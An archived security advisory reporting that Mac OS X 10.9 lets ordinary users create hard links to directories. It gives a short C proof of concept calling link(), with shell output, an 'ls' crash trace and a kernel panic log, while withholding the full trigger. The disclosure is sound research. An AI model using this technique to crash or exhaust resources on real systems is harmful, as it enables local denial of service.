OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Apple MacOSX 10.9 Hard Link Memory Corruption

submitcxsec.org
Date: Thu Nov 07 2013 - 16:50:59 CST


Apple MacOSX 10.9 Hard Link Memory Corruption

Date: 08.11.2013
http://cxsecurity.com/
http://cvemap.org/

URL: http://cxsecurity.com/issue/WLB-2013110059

- 0. Description ---

In most UNIX-like systems a hard link to a directory is only reserved for the 'root' user when possible at all.
In MacOSX 10.6 there was one such a vulnerability (CVE-2010-0105) causing the filesystem being resulting corrupted; the creation of many hard links was the cause.

As we can read on WikiPedia (02.11.2013)

http://en.wikipedia.org/wiki/Hard_link

'To prevent endless recursion, most modern operating systems do not allow hard links on directories.
In addition, hard links on directories would lead to inconsistency on parent directory entries.
A notable exception to this is Mac OS X v10.5 (Leopard) and newer,
which use hard links on directories for the Time Machine backup mechanism only.'

'Only for the Time Machine' is not True. Let's see quick PoC

A plain program performing a system call (link)
----------------------------------------------
mac-cxs-XK:pochd XK$ cat test.c
#include <stdio.h>
#include <unistd.h>

void usage(const char* program)
{
    const char* message = " [src_dir] [target_dir]";
        fprintf(stderr, "%s%s\n", program, message);
}

int main(int argc, char* argv[]) {
    if (argc!=3) {
        usage(argv[0]);
            return 1;
    }
    
    int ret = link(argv[1],argv[2]);
    
    fprintf(stderr,"link(3) return= %d\n", ret);

    return ret;
}

mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
----------------------------------------------

Hardlink1 and Hardlink4 failed instead Hardlink2 and Hardlink3 did not; so which may be the cause?
In my opinion we should recognize it as a security flaw and if Apple is not going to fix this vulnerability then someone should change the Wikipedias at least.

Operation (functionality) of hard links differs from those described in "Unix Internals: The New Frontiers" book (by Uresh Vahalia)
Old unix standards simply prevent to create any hard link to whatever directory for any user (root included).

Is that new CWE-DesignError vulnerability or new UNIX style?

There may be many possible bad consequences coming out from wrong 'hard link' handling. We will not yet public full description of this problem but we do know that it exists and that it may exhaust kernel/system resources,
it may cause application crashes or kernel panics. Let's wait for new MacOSX version.

----------------------------------------------
----------------------------------------------
- First Result is 'ls' Crash
----------------------------------------------
----------------------------------------------
mac-cxs-XK:expl XK$ ls -laR B > /dev/null
Segmentation fault: 11
..
A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A:
total 0
Process 14413 stopped
* thread #1: tid = 0x90ba, 0x00007fff948f7812 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, address=0xffb21290)
    frame #0: 0x00007fff948f7812 libsystem_c.dylib`strlen + 18
libsystem_c.dylib`strlen + 18:
-> 0x7fff948f7812: pcmpeqb (%rdi), %xmm0
   0x7fff948f7816: pmovmskb %xmm0, %esi
   0x7fff948f781a: andq $15, %rcx
   0x7fff948f781e: orq $-1, %rax
(lldb)
(lldb) bt
* thread #1: tid = 0x90ba, 0x00007fff948f7812 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, address=0xffb21290)
    frame #0: 0x00007fff948f7812 libsystem_c.dylib`strlen + 18
..
(lldb) register read
General Purpose Registers:
       rax = 0x00000000ffffffff
       rbx = 0x0000000100004c6a "/%s"
       rcx = 0x00000000ffb21298
       rdx = 0x00000000ffb21298
       rdi = 0x00000000ffb21290
       rsi = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper
       rbp = 0x00007fff5fbfddd0
       rsp = 0x00007fff5fbfddd0
        r8 = 0x0000000100004c68 "%s/%s"
        r9 = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper
       r10 = 0x00007fff9493f348 libsystem_c.dylib`__vfprintf + 18181
       r11 = 0x0000000000000000
       r12 = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper
       r13 = 0x0000000000000073
       r14 = 0x0000000000000000
       r15 = 0x00007fff5fbfe5f0
       rip = 0x00007fff948f7812 libsystem_c.dylib`strlen + 18
    rflags = 0x0000000000010206
        cs = 0x000000000000002b
        fs = 0x0000000000000000
        gs = 0x00000000ffff0000

----------------------------------------------
----------------------------------------------
- Second Result Kernel Panic
----------------------------------------------
----------------------------------------------

Anonymous UUID: BF2BRGF1-1900-0E95-96BD-8D02AE097REF

Sat Nov 2 01:12:49 2013
panic(cpu 2 caller 0xffffff800c6dc19e): Kernel trap at 0xffffff800c968468, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x0000000163b9b000, CR3: 0x00000000253da06e, CR4: 0x00000000001606e0
RAX: 0xffffff8029733450, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000008000, RDX: 0x0000000000000000
RSP: 0xffffff8136133870, RBP: 0xffffff8136133880, RSI: 0x0000000000000018, RDI: 0xffffff8025e53ce0
R8: 0xffffff8136133afc, R9: 0xffffff8025e54e10, R10: 0xffffff813613390c, R11: 0x000000000000198a
R12: 0xffffff80231e8008, R13: 0xffffff8136133a00, R14: 0xffffff8025e53ce0, R15: 0xffffff8025e54e10
RFL: 0x0000000000010282, RIP: 0xffffff800c968468, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x0000000163b9b000, Error code: 0x0000000000000000, Fault CPU: 0x2

Backtrace (CPU 2), Frame : Return Address
0xffffff812d08ddf0 : 0xffffff800c622f69
0xffffff812d08de70 : 0xffffff800c6dc19e
0xffffff812d08e040 : 0xffffff800c6f3606
0xffffff812d08e060 : 0xffffff800c968468
0xffffff8136133880 : 0xffffff800c9698dc
0xffffff8136133a50 : 0xffffff800c7fc9db
0xffffff8136133ab0 : 0xffffff800c7d544b
0xffffff8136133b30 : 0xffffff800c7d4da4
0xffffff8136133bf0 : 0xffffff800c7f0bc2
0xffffff8136133d70 : 0xffffff800c7e8f77
0xffffff8136133f50 : 0xffffff800ca3de23
0xffffff8136133fb0 : 0xffffff800c6f3e06

BSD process name corresponding to current thread: ls

Mac OS version:
13A603

Kernel version:
Darwin Kernel Version 13.0.0: Thu Sep 19 22:22:27 PDT 2013; root:xnu-2422.1.72~6/RELEASE_X86_64
Kernel UUID: 1D9369E3-D0A5-31B6-8D16-BFFBBB390393
Kernel slide: 0x000000000c400000
Kernel text base: 0xffffff800c600000
System model name: Macmini6,1 (Mac-031AEE4D24BFF0B1)

System uptime in nanoseconds: 1129983407371
last loaded kext at 589432405791: com.apple.filesystems.smbfs 2.0.0 (addr 0xffffff7f8e56f000, size 335872)
last unloaded kext at 119315749033: com.apple.driver.AppleFileSystemDriver 3.0.1 (addr 0xffffff7f8e429000, size 8192)
..

Does the kernel panic correspond to 'ls' ? More details soon.

- 1. References ---
http://cxsecurity.com/cveshow/CVE-2010-0105/
http://cxsecurity.com/issue/WLB-2010040284
http://cxsecurity.com/issue/WLB-2005090063
http://en.wikipedia.org/wiki/Hard_link
http://support.apple.com/kb/HT4435

- 2. Credit ---
Maksymilian Arciemowicz ( http://cert.cx/ )

Frist CVE&CWE compatible bugtraq
http://cxsecurity.com/
http://cvemap.org/